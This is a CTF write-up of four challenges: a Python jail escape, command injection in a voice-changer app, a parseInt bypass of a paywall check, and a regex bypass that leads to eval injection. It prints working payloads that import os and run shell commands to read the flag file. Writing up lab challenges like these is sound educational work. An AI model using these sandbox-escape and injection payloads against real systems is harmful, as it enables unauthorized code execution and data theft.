Jail - Baby’s First PyJail

@windex told me that jails should be sourceless. So no source for you.

Certain words are filtered 'import', 'exec', 'eval', 'os', 'open', 'read', 'system', 'module', 'write', '.'

By printing the __builtins__

>>> print(dir(__builtins__))
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'aiter', 'all', 'anext', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

We are still able to use getattr to access the object even though the import is banned. And manipulate the string to avoid the blacklist detections.

The solution below avoids the black list character and dots.

getattr(getattr(globals()['__builtins__'], '__im'+'port__')('o'+'s'), 'sys'+'tem')('cat flag.txt')

Or


getattr(getattr(globals()['__builtins__'], '__im'+'port__')('o'+'s'), 'sys'+'tem')('cat flag')

https://www.clementi.top/2023/07/13/python%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8/index.html

https://www.freebuf.com/articles/web/326406.html.

Web - Voice Changer

I made a cool app that changes your voice.

It’s a web application to record voice and sent over to server side and will parse by ffmpeg.

During the analyse phase using burp, the pitch parameter found to be vulnerable to command injections and the result is return back in the output.

Web - The Varsity

Come read our newspaper! Be sure to subscribe if you want access to the entire catalogue, including the latest issue.

Source code is provided, basically after user register, it allows user to view articles.

According to the source code, the flag is stored at article 10

However viewing the article 10 requires subscription which the roles is embedded in JWT.

In this part of code, it provides the POST route for /article.

app.post("/article", (req, res) => {
const token = req.cookies.token;

if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);

let issue = req.body.issue;

if (req.body.issue < 0) {
return res.status(400).json({ message: "Invalid issue number" });
}

if (decoded.subscription !== "premium" && issue >= 9) {
return res
.status(403)
.json({ message: "Please subscribe to access this issue" });
}

issue = parseInt(issue);


if (Number.isNaN(issue) || issue > articles.length - 1) {
return res.status(400).json({ message: "Invalid issue number" });
}
return res.json(articles[issue]);
..................

It seems that there’s some problem with the parseInt.

Before parseInt, issue have to be less than 9 and after the parseInt we need issue to be less than 10.

After some research we found that using the scientific notation able us to meet the condition.

when the value of issue is

we will craft the issue to be "9.999e-1" which will bypass the first check and after parseint the value of issues will be 9.

Since the value issue now is 9, it will also bypass the second check, and return res.json(article[9])

Web - No Code

from flask import Flask, request, jsonify
import re

app = Flask(__name__)

@app.route('/execute', methods=['POST'])
def execute_code():
code = request.form.get('code', '')
if re.match(".*[\x20-\x7E]+.*", code):
return jsonify({"output": "jk lmao no code"}), 403
result = ""
try:
result = eval(code)
except Exception as e:
result = str(e)

return jsonify({"output": result}), 200

if __name__ == "__main__":
app.run(host="0.0.0.0", port=1337, debug=False)

re.match(".*[\x20-\x7E]+.*", code)

This regex is using the re.match() function to check if the code string contains any printable ASCII characters. Let’s break down the components:

  • .*: Matches any character (except for a newline) zero or more times.
  • [\x20-\x7E]+: This is a character class that matches one or more characters within the hexadecimal range \x20 (space) to \x7E (tilde). This range represents the printable ASCII characters, including letters, digits, punctuation, and some special characters.

By enter a new line will bypass the check of regex

import requests

payload = "\n__builtins__.__import__('os').popen('cat flag.txt').read()"

url = "https://uoftctf-no-code.chals.io/execute"

r = requests.post(url,data={"code":payload})
print(r.text)

{"output":"uoftctf{r3g3x_3p1c_f41L_XDDD}"}